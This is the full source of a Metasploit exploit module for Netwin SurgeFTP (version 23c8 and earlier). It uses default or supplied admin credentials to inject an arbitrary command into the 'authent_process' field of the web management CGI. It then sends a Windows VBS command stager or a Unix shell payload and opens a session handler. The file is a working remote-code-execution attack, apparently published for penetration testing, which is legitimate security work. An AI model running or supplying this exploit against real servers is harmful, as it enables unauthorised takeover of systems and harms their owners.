Netwin SurgeFTP Remote Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Netwin SurgeFTP Remote Command Execution',
        'Description' => %q{
          This module exploits a vulnerability found in Netwin SurgeFTP, version 23c8
          or prior.  In order to execute commands via the FTP service, please note that
          you must have a valid credential to the web-based administrative console.
        },
        'Author' => [
          'Spencer McIntyre', # Who found this vuln?
          'sinn3r'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2012-10028' ],
          [ 'OSVDB', '89105' ],
          [ 'EDB', '23522' ]
        ],
        'Targets' => [
          [ 'Windows', { 'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => 'vbs' } ],
          [ 'Unix', { 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => { 'BadChars' => "\x22" } } ]
        ],
        'DisclosureDate' => '2012-12-06',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(7021),
        OptString.new('HttpUsername', [ true, 'The username with admin role to authenticate as', 'admin' ]),
        OptString.new('HttpPassword', [ true, 'The password for the specified username', 'password' ])
      ]
    )
  end

  def check
    res = send_request_raw({ 'uri' => '/cgi/surgeftpmgr.cgi' })
    if res and res.body =~ /surgeftp\x20\x0d\x0a\x20\x20Manager CGI/
      return Exploit::CheckCode::Detected('The target application was detected but requires authentication')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end

  def execute_command(cmd, _opts)
    http_send_command("cmd.exe /q /c #{cmd}")
  end

  def http_send_command(command)
    res = send_request_cgi(
      {
        'uri' => '/cgi/surgeftpmgr.cgi',
        'method' => 'POST',
        'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),
        'vars_post' =>
          {
            'global_smtp' => '',
            'global_restart' => '',
            'global_style' => '',
            'global_bind' => '',
            'global_passive_ip' => '',
            'global_passive_match' => '',
            'global_logon_mode' => '',
            'global_log_host' => '',
            'global_login_error' => '',
            'global_adminip' => '',
            'global_total_users' => '',
            'global_con_perip' => '',
            'global_ssl' => '',
            'global_ssl_cipher_list' => '',
            'global_implicit_port' => '',
            'log_level' => '',
            'log_home' => '',
            'global_watcher_program_ul' => '',
            'global_watcher_program_dl' => '',
            'authent_process' => command,
            'authent_cmdopts' => '',
            'authent_number' => '',
            'authent_domain' => '',
            'global_strip_user_domain' => '',
            'global_noclass' => '',
            'global_anon_hammer_over_time' => '',
            'global_anon_hammer_max' => '',
            'global_anon_hammer_block_time' => '',
            'global_port' => '',
            'global_mgr_port' => '',
            'global_mgr_ssl_port' => '',
            'cmd_global_save.x' => '36',
            'cmd_global_save.y' => '8'
          }
      }
    )

    if res and res.body =~ /401 Authorization failed/
      fail_with(Failure::NoAccess, 'Unable to log in!')
    elsif !(res and res.code == 200)
      fail_with(Failure::Unknown, 'Failed to execute command.')
    end
  end

  def exploit
    case target['Platform']
    when 'win'
      print_status("#{Rex::Socket.to_authority(rhost, rport)} - Sending command stager...")
      execute_cmdstager({ linemax: 500 })

    when 'unix'
      print_status("#{Rex::Socket.to_authority(rhost, rport)} - Sending payload...")
      http_send_command(%(/bin/sh -c "#{payload.encoded}"))
    end

    handler
  end
end